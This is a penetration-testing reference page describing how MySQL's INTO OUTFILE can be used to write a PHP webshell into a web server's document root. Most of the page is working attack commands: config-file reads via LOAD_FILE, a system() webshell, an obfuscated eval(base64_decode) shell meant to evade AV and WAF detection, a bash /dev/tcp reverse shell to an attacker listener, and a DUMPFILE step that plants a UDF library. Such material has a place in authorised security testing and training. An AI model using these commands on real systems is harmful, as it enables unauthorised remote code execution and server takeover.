# MySQL File Write and Webshell via INTO OUTFILE

- **URL:** https://hackindex.io/services/mysql/exploitation/mysql-file-write-and-webshell-via-into-outfile
- **Path:** MySQL > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/mysql/exploitation.md)
- **Published:** 2026-03-26
- **Updated:** 2026-03-26

`SELECT ... INTO OUTFILE` writes query output to a file on the MySQL server filesystem. With FILE privilege and a web server running on the same host, this writes a webshell directly to the web root and produces remote code execution without needing any other vulnerability. The file is written by the MySQL process user so the web root must be writable by that user. On misconfigured systems where MySQL runs as root or the web root is world-writable this technique works reliably.

Confirm FILE privilege is present and `secure_file_priv` is empty before attempting. A non-empty `secure_file_priv` restricts writes to a specific directory and the web root must be within or equal to that path for this technique to work.

## Identify the Web Root

Read the web server configuration to find the document root before writing:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/apache2/sites-enabled/000-default.conf');"
# <VirtualHost *:80>
#     DocumentRoot /var/www/html
# </VirtualHost>
```

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/etc/nginx/sites-enabled/default');"
```

## Write a Webshell via MySQL INTO OUTFILE

Write a minimal PHP webshell to the identified web root:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT '<?php system($_GET[\"cmd\"]); ?>' INTO OUTFILE '/var/www/html/shell.php';"
# Query OK, 1 row affected (0.01 sec)
```

Confirm the webshell is reachable and executes commands:

```bash
curl -sk "http://$TARGET_IP/shell.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

## Use a Less Detectable Webshell

The single-parameter shell above is flagged by most AV and WAF signatures. Use a parameter-based approach with a less obvious variable name:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT '<?php @eval(base64_decode($_POST[\"d\"])); ?>' INTO OUTFILE '/var/www/html/info.php';"
```

## Upgrade to a Reverse Shell

Use the webshell to execute a reverse shell back to your listener:

```bash
nc -lvnp $LPORT
```

```bash
curl -sk "http://$TARGET_IP/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/$LHOST/$LPORT+0>%261'"
```

## Use INTO DUMPFILE for Binary Files

`INTO OUTFILE` adds a newline at the end of each row which corrupts binary files. Use `INTO DUMPFILE` for writing binary content such as shared libraries for UDF exploitation:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT 0x[HEX_OF_BINARY] INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';"
```

Writing binary files with INTO DUMPFILE is used in the UDF privilege escalation technique: covered on the next page.

## Troubleshoot Write Failures

Common reasons INTO OUTFILE writes fail:

- The target file already exists: MySQL refuses to overwrite. Use a different filename.
- The MySQL process user lacks write permissions on the target directory
- `secure_file_priv` restricts writes to a specific path that does not include the web root
- AppArmor or SELinux policy blocks writes outside permitted directories

Check which directories are writable:

```bash
mysql -h $TARGET_IP -P ${PORT:-3306} -u $USER -p$PASSWORD -e "SELECT LOAD_FILE('/var/www/html/index.php');" | head -3
```

If LOAD_FILE can read files from a directory, INTO OUTFILE can usually write to it: the same process user permissions apply to both. Use this to confirm writable paths before attempting the write.

## References

- [MySQL: SELECT INTO OUTFILE reference](https://dev.mysql.com/doc/refman/8.0/en/select-into.html) - INTO OUTFILE and INTO DUMPFILE syntax and behavior differences
